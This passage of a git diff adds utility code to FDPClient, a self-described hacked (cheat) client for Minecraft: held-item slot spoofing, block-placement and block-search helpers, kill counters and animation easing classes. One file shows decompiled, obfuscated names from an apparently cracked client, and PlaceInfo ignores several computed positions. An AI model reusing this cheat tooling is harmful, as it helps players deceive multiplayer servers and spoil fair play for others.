(realTime % 3600) % 60; + int minutes = (realTime % 3600) / 60; + + return hours + "h " + minutes + "m " + seconds + "s"; + } + + @Override + public boolean handleEvents() { + return true; + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/SpoofItemUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/SpoofItemUtils.kt new file mode 100644 index 0000000..83d4f9f --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/SpoofItemUtils.kt @@ -0,0 +1,42 @@ +package net.ccbluex.liquidbounce.utils + +import net.minecraft.item.ItemStack + +object SpoofItemUtils : MinecraftInstance() { + //From CrossSine + private var realSlot = 0 + private var spoofSlot = 0 + var render = false + var spoofing = false + fun startSpoof(slot : Int) { + if (!spoofing) { + spoofSlot = slot + spoofing = true + } + } + fun startSpoof(slot: Int, realSlot: Int, render: Boolean) { + if (!spoofing) { + spoofSlot = slot + spoofing = true + this.realSlot = realSlot + } + this.render = render + } + fun stopSpoof() { + for (i in 0..8) { + if (i == spoofSlot) { + mc.thePlayer.inventory.currentItem = i + } + } + spoofing = false + } + fun getSlot() : Int { + return if (spoofing) spoofSlot else mc.thePlayer.inventory.currentItem + } + fun getStack(): ItemStack? { + return if (spoofing) mc.thePlayer.inventory.getStackInSlot(spoofSlot) else mc.thePlayer.inventory.getCurrentItem() + } + fun setSlot(slot: Int) { + spoofSlot = slot + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/StatisticsUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/StatisticsUtils.java new file mode 100644 index 0000000..3fa8d78 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/StatisticsUtils.java @@ -0,0 +1,40 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.ccbluex.liquidbounce.event.EntityKilledEvent; +import net.ccbluex.liquidbounce.event.EventTarget; +import net.ccbluex.liquidbounce.event.Listenable; +import net.minecraft.entity.player.EntityPlayer; + +public class StatisticsUtils implements Listenable { + private static int kills; + private static int deaths; + + @EventTarget + public void onTargetKilled(EntityKilledEvent e) { + if (!(e.getTargetEntity() instanceof EntityPlayer)) { + return; + } + + kills++; + } + + public static void addDeaths() { + deaths++; + } + + public static int getDeaths() { + return deaths; + } + + public static int getKills() { + return kills; + } + + @Override + public boolean handleEvents() { return true; } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/TransferUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/TransferUtils.kt new file mode 100644 index 0000000..9379ef9 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/TransferUtils.kt @@ -0,0 +1,11 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils + +object TransferUtils : MinecraftInstance() { + var silentConfirm = false + var noMotionSet = false +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/Translate.java b/src/main/java/net/ccbluex/liquidbounce/utils/Translate.java new file mode 100644 index 0000000..c65078a --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/Translate.java @@ -0,0 +1,42 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils; + +import net.ccbluex.liquidbounce.ui.client.gui.clickgui.style.styles.novoline.AnimationUtil; + +public final class Translate { + private boolean AckerRunCRACKED_f; + private float AckerRunCRACKED_a; + private float AckerRunCRACKED_ALLATORIxDEMO; + + /* + * WARNING - void declaration + */ + public Translate(float f2) { + float IIiiiiiiIiIii = 0; + Translate IIiiiiiiIiIii2 = this; + IIiiiiiiIiIii2.AckerRunCRACKED_a = IIiiiiiiIiIii; + IIiiiiiiIiIii2.AckerRunCRACKED_ALLATORIxDEMO = f2; + } + + public float getY() { + Translate IIiiiiiiIiIii = this; + return IIiiiiiiIiIii.AckerRunCRACKED_ALLATORIxDEMO; + } + + public void interpolate(float IIiiiiiiIiIii, float IIiiiiiiIiIii2, double IIiiiiiiIiIii3) { + Translate IIiiiiiiIiIii4 = this; + if (IIiiiiiiIiIii4.AckerRunCRACKED_f) { + IIiiiiiiIiIii4.AckerRunCRACKED_a = (float)AnimationUtil.animate(IIiiiiiiIiIii, IIiiiiiiIiIii4.AckerRunCRACKED_a, IIiiiiiiIiIii3); + IIiiiiiiIiIii4.AckerRunCRACKED_ALLATORIxDEMO = (float)AnimationUtil.animate(IIiiiiiiIiIii2, IIiiiiiiIiIii4.AckerRunCRACKED_ALLATORIxDEMO, IIiiiiiiIiIii3); + return; + } + IIiiiiiiIiIii4.AckerRunCRACKED_a = IIiiiiiiIiIii; + IIiiiiiiIiIii4.AckerRunCRACKED_ALLATORIxDEMO = IIiiiiiiIiIii2; + IIiiiiiiIiIii4.AckerRunCRACKED_f = true; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/Animation.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/Animation.java new file mode 100644 index 0000000..01fa1df --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/Animation.java @@ -0,0 +1,97 @@ +package net.ccbluex.liquidbounce.utils.animations; + +import net.ccbluex.liquidbounce.utils.timer.TimerUtil; + +public abstract class Animation { + + public TimerUtil timerUtil = new TimerUtil(); + protected int duration; + protected double endPoint; + protected Direction direction; + + public Animation(int ms, double endPoint) { + this(ms, endPoint, Direction.FORWARDS); + } + + public Animation(int ms, double endPoint, Direction direction) { + this.duration = ms; //Time in milliseconds of how long you want the animation to take. + this.endPoint = endPoint; //The desired distance for the animated object to go. + this.direction = direction; //Direction in which the graph is going. If backwards, will start from endPoint and go to 0. + } + + + public boolean finished(Direction direction) { + return isDone() && this.direction.equals(direction); + } + + public double getLinearOutput() { + return 1 - ((timerUtil.getTime() / (double) duration) * endPoint); + } + + public double getEndPoint() { + return endPoint; + } + + public void setEndPoint(double endPoint) { + this.endPoint = endPoint; + } + + public void reset() { + timerUtil.reset(); + } + + public boolean isDone() { + return timerUtil.hasTimeElapsed(duration); + } + + public void changeDirection() { + setDirection(direction.opposite()); + } + + public Direction getDirection() { + return direction; + } + + public Animation setDirection(Direction direction) { + if (this.direction != direction) { + this.direction = direction; + timerUtil.setTime(System.currentTimeMillis() - (duration - Math.min(duration, timerUtil.getTime()))); + } + return this; + } + + public void setDuration(int duration) { + this.duration = duration; + } + + protected boolean correctOutput() { + return false; + } + + public Double getOutput() { + if (direction.forwards()) { + if (isDone()) { + return endPoint; + } + + return getEquation(timerUtil.getTime() / (double) duration) * endPoint; + } else { + if (isDone()) { + return 0.0; + } + + if (correctOutput()) { + double revTime = Math.min(duration, Math.max(0, duration - timerUtil.getTime())); + return getEquation(revTime / (double) duration) * endPoint; + } + + return (1 - getEquation(timerUtil.getTime() / (double) duration)) * endPoint; + } + } + + + //This is where the animation equation should go, for example, a logistic function. Output should range from 0 - 1. + //This will take the timer's time as an input, x. + protected abstract double getEquation(double x); + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/ContinualAnimation.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/ContinualAnimation.java new file mode 100644 index 0000000..0e39ffa --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/ContinualAnimation.java @@ -0,0 +1,33 @@ +package net.ccbluex.liquidbounce.utils.animations; + + +import lombok.Getter; +import net.ccbluex.liquidbounce.utils.animations.impl.SmoothStepAnimation; + +public class ContinualAnimation { + + private float output, endpoint; + + @Getter + private Animation animation = new SmoothStepAnimation(0, 0, Direction.BACKWARDS); + + public void animate(float destination, int ms) { + output = endpoint - animation.getOutput().floatValue(); + endpoint = destination; + if (output != (endpoint - destination)) { + animation = new SmoothStepAnimation(ms, endpoint - output, Direction.BACKWARDS); + } + } + + + public boolean isDone() { + return output == endpoint || animation.isDone(); + } + + public float getOutput() { + output = endpoint - animation.getOutput().floatValue(); + return output; + } + + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/Direction.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/Direction.java new file mode 100644 index 0000000..b7b1f9d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/Direction.java @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.utils.animations; +public enum Direction { + FORWARDS, + BACKWARDS; + + public Direction opposite() { + if (this == Direction.FORWARDS) { + return Direction.BACKWARDS; + } else return Direction.FORWARDS; + } + + + public boolean forwards() { + return this == Direction.FORWARDS; + } + + public boolean backwards() { + return this == Direction.BACKWARDS; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/DecelerateAnimation.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/DecelerateAnimation.java new file mode 100644 index 0000000..89594ff --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/DecelerateAnimation.java @@ -0,0 +1,21 @@ +package net.ccbluex.liquidbounce.utils.animations.impl; + + +import net.ccbluex.liquidbounce.utils.animations.Animation; +import net.ccbluex.liquidbounce.utils.animations.Direction; + +public class DecelerateAnimation extends Animation { + + public DecelerateAnimation(int ms, double endPoint) { + super(ms, endPoint); + } + + public DecelerateAnimation(int ms, double endPoint, Direction direction) { + super(ms, endPoint, direction); + } + + + protected double getEquation(double x) { + return 1 - ((x - 1) * (x - 1)); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseBackIn.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseBackIn.java new file mode 100644 index 0000000..368f4f6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseBackIn.java @@ -0,0 +1,30 @@ +package net.ccbluex.liquidbounce.utils.animations.impl; + +import net.ccbluex.liquidbounce.utils.animations.Animation; +import net.ccbluex.liquidbounce.utils.animations.Direction; + +public class EaseBackIn extends Animation { + private final float easeAmount; + + public EaseBackIn(int ms, double endPoint, float easeAmount) { + super(ms, endPoint); + this.easeAmount = easeAmount; + } + + public EaseBackIn(int ms, double endPoint, float easeAmount, Direction direction) { + super(ms, endPoint, direction); + this.easeAmount = easeAmount; + } + + @Override + protected boolean correctOutput() { + return true; + } + + @Override + protected double getEquation(double x) { + float shrink = easeAmount + 1; + return Math.max(0, 1 + shrink * Math.pow(x - 1, 3) + easeAmount * Math.pow(x - 1, 2)); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseInOutQuad.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseInOutQuad.java new file mode 100644 index 0000000..049cb6b --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseInOutQuad.java @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.utils.animations.impl; + +import net.ccbluex.liquidbounce.utils.animations.Animation; +import net.ccbluex.liquidbounce.utils.animations.Direction; + +public class EaseInOutQuad extends Animation { + + public EaseInOutQuad(int ms, double endPoint) { + super(ms, endPoint); + } + + public EaseInOutQuad(int ms, double endPoint, Direction direction) { + super(ms, endPoint, direction); + } + + protected double getEquation(double x) { + return x < 0.5 ? 2 * Math.pow(x, 2) : 1 - Math.pow(-2 * x + 2, 2) / 2; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseOutSine.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseOutSine.java new file mode 100644 index 0000000..408e54e --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/EaseOutSine.java @@ -0,0 +1,26 @@ +package net.ccbluex.liquidbounce.utils.animations.impl; + +import net.ccbluex.liquidbounce.utils.animations.Animation; +import net.ccbluex.liquidbounce.utils.animations.Direction; + +public class EaseOutSine extends Animation { + + + public EaseOutSine(int ms, double endPoint) { + super(ms, endPoint); + } + + public EaseOutSine(int ms, double endPoint, Direction direction) { + super(ms, endPoint, direction); + } + + @Override + protected boolean correctOutput() { + return true; + } + + @Override + protected double getEquation(double x) { + return Math.sin(x * (Math.PI / 2)); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/ElasticAnimation.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/ElasticAnimation.java new file mode 100644 index 0000000..6544dff --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/ElasticAnimation.java @@ -0,0 +1,32 @@ +package net.ccbluex.liquidbounce.utils.animations.impl; + +import net.ccbluex.liquidbounce.utils.animations.Animation; +import net.ccbluex.liquidbounce.utils.animations.Direction; + +public class ElasticAnimation extends Animation { + + float easeAmount; + float smooth; + boolean reallyElastic; + + public ElasticAnimation(int ms, double endPoint, float elasticity, float smooth, boolean moreElasticity) { + super(ms, endPoint); + this.easeAmount = elasticity; + this.smooth = smooth; + this.reallyElastic = moreElasticity; + } + + public ElasticAnimation(int ms, double endPoint, float elasticity, float smooth, boolean moreElasticity, Direction direction) { + super(ms, endPoint, direction); + this.easeAmount = elasticity; + this.smooth = smooth; + this.reallyElastic = moreElasticity; + } + + @Override + protected double getEquation(double x) { + x = Math.pow(x, smooth); + double elasticity = easeAmount * .1f; + return Math.pow(2, -10 * (reallyElastic ? Math.sqrt(x) : x)) * Math.sin((x - (elasticity / 4)) * ((2 * Math.PI) / elasticity)) + 1; + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/SmoothStepAnimation.java b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/SmoothStepAnimation.java new file mode 100644 index 0000000..a6de0ba --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/animations/impl/SmoothStepAnimation.java @@ -0,0 +1,20 @@ +package net.ccbluex.liquidbounce.utils.animations.impl; + +import net.ccbluex.liquidbounce.utils.animations.Animation; +import net.ccbluex.liquidbounce.utils.animations.Direction; + +public class SmoothStepAnimation extends Animation { + + public SmoothStepAnimation(int ms, double endPoint) { + super(ms, endPoint); + } + + public SmoothStepAnimation(int ms, double endPoint, Direction direction) { + super(ms, endPoint, direction); + } + + protected double getEquation(double x) { + return -2 * Math.pow(x, 3) + (3 * Math.pow(x, 2)); + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/block/BlockUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/block/BlockUtils.kt new file mode 100644 index 0000000..3924939 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/block/BlockUtils.kt @@ -0,0 +1,146 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.block + +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.block.Block +import net.minecraft.block.material.Material +import net.minecraft.block.state.IBlockState +import net.minecraft.util.AxisAlignedBB +import net.minecraft.util.BlockPos +import net.minecraft.util.MathHelper +import net.minecraft.util.Vec3 +import kotlin.math.floor + +object BlockUtils : MinecraftInstance() { + + /** + * Get block from [blockPos] + */ + @JvmStatic + fun getBlock(vec3: Vec3?): Block? = getBlock(BlockPos(vec3)) + + @JvmStatic + fun getBlock(blockPos: BlockPos?): Block? = mc.theWorld?.getBlockState(blockPos)?.block + + /** + * Get material from [blockPos] + */ + @JvmStatic + fun getMaterial(blockPos: BlockPos?): Material? = getBlock(blockPos)?.material + + /** + * Check [blockPos] is replaceable + */ + @JvmStatic + fun isReplaceable(blockPos: BlockPos?) = getMaterial(blockPos)?.isReplaceable ?: false + + /** + * Get state from [blockPos] + */ + @JvmStatic + fun getState(blockPos: BlockPos?): IBlockState = mc.theWorld.getBlockState(blockPos) + + /** + * Check if [blockPos] is clickable + */ + @JvmStatic + fun canBeClicked(blockPos: BlockPos?) = getBlock(blockPos)?.canCollideCheck(getState(blockPos), false) ?: false && + mc.theWorld.worldBorder.contains(blockPos) + + /** + * Get block name by [id] + */ + @JvmStatic + fun getBlockName(id: Int): String = Block.getBlockById(id).localizedName + + /** + * Check if block is full block + */ + @JvmStatic + fun isFullBlock(blockPos: BlockPos?): Boolean { + val axisAlignedBB = getBlock(blockPos)?.getCollisionBoundingBox(mc.theWorld, blockPos, getState(blockPos)) + ?: return false + return axisAlignedBB.maxX - axisAlignedBB.minX == 1.0 && axisAlignedBB.maxY - axisAlignedBB.minY == 1.0 && axisAlignedBB.maxZ - axisAlignedBB.minZ == 1.0 + } + + /** + * Get distance to center of [blockPos] + */ + @JvmStatic + fun getCenterDistance(blockPos: BlockPos) = + mc.thePlayer.getDistance(blockPos.x + 0.5, blockPos.y + 0.5, blockPos.z + 0.5) + + /** + * Search blocks around the player in a specific [radius] + */ + @JvmStatic + fun searchBlocks(radius: Int): Map<BlockPos, Block> { + val blocks = mutableMapOf<BlockPos, Block>() + + for (x in radius downTo -radius + 1) { + for (y in radius downTo -radius + 1) { + for (z in radius downTo -radius + 1) { + val blockPos = BlockPos(mc.thePlayer.posX.toInt() + x, mc.thePlayer.posY.toInt() + y, + mc.thePlayer.posZ.toInt() + z) + val block = getBlock(blockPos) ?: continue + + blocks[blockPos] = block + } + } + } + + return blocks + } + + /** + * Check if [axisAlignedBB] has collidable blocks using custom [collide] check + */ + @JvmStatic + fun collideBlock(axisAlignedBB: AxisAlignedBB, collide: (Block?) -> Boolean): Boolean { + for (x in MathHelper.floor_double(mc.thePlayer.entityBoundingBox.minX) until + MathHelper.floor_double(mc.thePlayer.entityBoundingBox.maxX) + 1) { + for (z in MathHelper.floor_double(mc.thePlayer.entityBoundingBox.minZ) until + MathHelper.floor_double(mc.thePlayer.entityBoundingBox.maxZ) + 1) { + val block = getBlock(BlockPos(x.toDouble(), axisAlignedBB.minY, z.toDouble())) + + if (!collide(block)) { + return false + } + } + } + + return true + } + + /** + * Check if [axisAlignedBB] has collidable blocks using custom [collide] check + */ + @JvmStatic + fun collideBlockIntersects(axisAlignedBB: AxisAlignedBB, collide: (Block?) -> Boolean): Boolean { + for (x in MathHelper.floor_double(mc.thePlayer.entityBoundingBox.minX) until + MathHelper.floor_double(mc.thePlayer.entityBoundingBox.maxX) + 1) { + for (z in MathHelper.floor_double(mc.thePlayer.entityBoundingBox.minZ) until + MathHelper.floor_double(mc.thePlayer.entityBoundingBox.maxZ) + 1) { + val blockPos = BlockPos(x.toDouble(), axisAlignedBB.minY, z.toDouble()) + val block = getBlock(blockPos) + + if (collide(block)) { + val boundingBox = block?.getCollisionBoundingBox(mc.theWorld, blockPos, getState(blockPos)) + ?: continue + + if (mc.thePlayer.entityBoundingBox.intersectsWith(boundingBox)) { + return true + } + } + } + } + return false + } + + @JvmStatic + fun floorVec3(vec3: Vec3) = Vec3(floor(vec3.xCoord), floor(vec3.yCoord), floor(vec3.zCoord)) +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/block/MinecraftWorldProvider.java b/src/main/java/net/ccbluex/liquidbounce/utils/block/MinecraftWorldProvider.java new file mode 100644 index 0000000..7d50c81 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/block/MinecraftWorldProvider.java @@ -0,0 +1,39 @@ +package net.ccbluex.liquidbounce.utils.block; + +import me.liuli.path.Cell; +import me.liuli.path.IWorldProvider; +import net.minecraft.block.Block; +import net.minecraft.block.BlockFence; +import net.minecraft.block.BlockWall; +import net.minecraft.util.BlockPos; +import net.minecraft.world.World; + +public class MinecraftWorldProvider implements IWorldProvider { + + private final World world; + + public MinecraftWorldProvider(World world) { + this.world = world; + } + + @Override + public boolean isBlocked(Cell cell) { + return isBlocked(cell.x, cell.y, cell.z); + } + + public boolean isBlocked(int x, int y, int z) { + return isSolid(x, y, z) || isSolid(x, y + 1, z) || unableToStand(x, y - 1, z); + } + + private boolean isSolid(int x, int y, int z) { + Block block = world.getBlockState(new BlockPos(x, y, z)).getBlock(); + if(block == null) return true; + + return block.getMaterial().isSolid(); + } + + private boolean unableToStand(int x, int y, int z) { + final Block block = world.getBlockState(new BlockPos(x, y, z)).getBlock(); + return block instanceof BlockFence || block instanceof BlockWall; + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/block/PlaceInfo.kt b/src/main/java/net/ccbluex/liquidbounce/utils/block/PlaceInfo.kt new file mode 100644 index 0000000..875b79d --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/block/PlaceInfo.kt @@ -0,0 +1,265 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.block + +import net.minecraft.util.BlockPos +import net.minecraft.util.EnumFacing +import net.minecraft.util.Vec3 + +class PlaceInfo( + val blockPos: BlockPos, + val enumFacing: EnumFacing, + var vec3: Vec3 = Vec3(blockPos.x + 0.5, blockPos.y + 0.5, blockPos.z + 0.5) +) { + + companion object { + + /** + * Allows you to find a specific place info for your [blockPos] + */ + fun get(blockPos: BlockPos): PlaceInfo? { + return when { + BlockUtils.canBeClicked(blockPos.add(0, -1, 0)) -> + return PlaceInfo(blockPos.add(0, -1, 0), EnumFacing.UP) + BlockUtils.canBeClicked(blockPos.add(0, 0, 1)) -> + return PlaceInfo(blockPos.add(0, 0, 1), EnumFacing.NORTH) + BlockUtils.canBeClicked(blockPos.add(-1, 0, 0)) -> + return PlaceInfo(blockPos.add(-1, 0, 0), EnumFacing.EAST) + BlockUtils.canBeClicked(blockPos.add(0, 0, -1)) -> + return PlaceInfo(blockPos.add(0, 0, -1), EnumFacing.SOUTH) + BlockUtils.canBeClicked(blockPos.add(1, 0, 0)) -> + PlaceInfo(blockPos.add(1, 0, 0), EnumFacing.WEST) + else -> null + } + } + @JvmStatic + fun getPlaceInfo(pos: BlockPos): PlaceInfo? { + if (BlockUtils.canBeClicked(pos.add(0, -1, 0))) { + return PlaceInfo(pos.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos.add(-1, 0, 0))) { + return PlaceInfo(pos.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos.add(1, 0, 0))) { + return PlaceInfo(pos.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos.add(0, 0, 1))) { + return PlaceInfo(pos.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos.add(0, 0, -1))) { + return PlaceInfo(pos.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos2 = pos.add(-1, 0, 0) + if (BlockUtils.canBeClicked(pos2.add(0, -1, 0))) { + return PlaceInfo(pos2.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos2.add(-1, 0, 0))) { + return PlaceInfo(pos2.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos2.add(1, 0, 0))) { + return PlaceInfo(pos2.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos2.add(0, 0, 1))) { + return PlaceInfo(pos2.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos2.add(0, 0, -1))) { + return PlaceInfo(pos2.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos3 = pos.add(1, 0, 0) + if (BlockUtils.canBeClicked(pos3.add(0, -1, 0))) { + return PlaceInfo(pos3.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos3.add(-1, 0, 0))) { + return PlaceInfo(pos3.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos3.add(1, 0, 0))) { + return PlaceInfo(pos3.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos3.add(0, 0, 1))) { + return PlaceInfo(pos3.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos3.add(0, 0, -1))) { + return PlaceInfo(pos3.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos4 = pos.add(0, 0, 1) + if (BlockUtils.canBeClicked(pos4.add(0, -1, 0))) { + return PlaceInfo(pos4.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos4.add(-1, 0, 0))) { + return PlaceInfo(pos4.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos4.add(1, 0, 0))) { + return PlaceInfo(pos4.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos4.add(0, 0, 1))) { + return PlaceInfo(pos4.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos4.add(0, 0, -1))) { + return PlaceInfo(pos4.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos5 = pos.add(0, 0, -1) + if (BlockUtils.canBeClicked(pos5.add(0, -1, 0))) { + return PlaceInfo(pos5.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos5.add(-1, 0, 0))) { + return PlaceInfo(pos5.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos5.add(1, 0, 0))) { + return PlaceInfo(pos5.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos5.add(0, 0, 1))) { + return PlaceInfo(pos5.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos5.add(0, 0, -1))) { + return PlaceInfo(pos5.add(0, 0, -1), EnumFacing.SOUTH) + } + pos.add(-2, 0, 0) + if (BlockUtils.canBeClicked(pos2.add(0, -1, 0))) { + return PlaceInfo(pos2.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos2.add(-1, 0, 0))) { + return PlaceInfo(pos2.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos2.add(1, 0, 0))) { + return PlaceInfo(pos2.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos2.add(0, 0, 1))) { + return PlaceInfo(pos2.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos2.add(0, 0, -1))) { + return PlaceInfo(pos2.add(0, 0, -1), EnumFacing.SOUTH) + } + pos.add(2, 0, 0) + if (BlockUtils.canBeClicked(pos3.add(0, -1, 0))) { + return PlaceInfo(pos3.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos3.add(-1, 0, 0))) { + return PlaceInfo(pos3.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos3.add(1, 0, 0))) { + return PlaceInfo(pos3.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos3.add(0, 0, 1))) { + return PlaceInfo(pos3.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos3.add(0, 0, -1))) { + return PlaceInfo(pos3.add(0, 0, -1), EnumFacing.SOUTH) + } + pos.add(0, 0, 2) + if (BlockUtils.canBeClicked(pos4.add(0, -1, 0))) { + return PlaceInfo(pos4.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos4.add(-1, 0, 0))) { + return PlaceInfo(pos4.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos4.add(1, 0, 0))) { + return PlaceInfo(pos4.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos4.add(0, 0, 1))) { + return PlaceInfo(pos4.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos4.add(0, 0, -1))) { + return PlaceInfo(pos4.add(0, 0, -1), EnumFacing.SOUTH) + } + pos.add(0, 0, -2) + if (BlockUtils.canBeClicked(pos5.add(0, -1, 0))) { + return PlaceInfo(pos5.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos5.add(-1, 0, 0))) { + return PlaceInfo(pos5.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos5.add(1, 0, 0))) { + return PlaceInfo(pos5.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos5.add(0, 0, 1))) { + return PlaceInfo(pos5.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos5.add(0, 0, -1))) { + return PlaceInfo(pos5.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos6 = pos.add(0, -1, 0) + if (BlockUtils.canBeClicked(pos6.add(0, -1, 0))) { + return PlaceInfo(pos6.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos6.add(-1, 0, 0))) { + return PlaceInfo(pos6.add(-1, 0, 0), EnumFacing.EAST) + } + if (BlockUtils.canBeClicked(pos6.add(1, 0, 0))) { + return PlaceInfo(pos6.add(1, 0, 0), EnumFacing.WEST) + } + if (BlockUtils.canBeClicked(pos6.add(0, 0, 1))) { + return PlaceInfo(pos6.add(0, 0, 1), EnumFacing.NORTH) + } + if (BlockUtils.canBeClicked(pos6.add(0, 0, -1))) { + return PlaceInfo(pos6.add(0, 0, -1), EnumFacing.SOUTH) + } + val pos7 = pos6.add(1, 0, 0) + if (BlockUtils.canBeClicked(pos7.add(0, -1, 0))) { + return PlaceInfo(pos7.add(0, -1, 0), EnumFacing.UP) + } + if (BlockUtils.canBeClicked(pos7.add(-1, 0, 0))) { + return 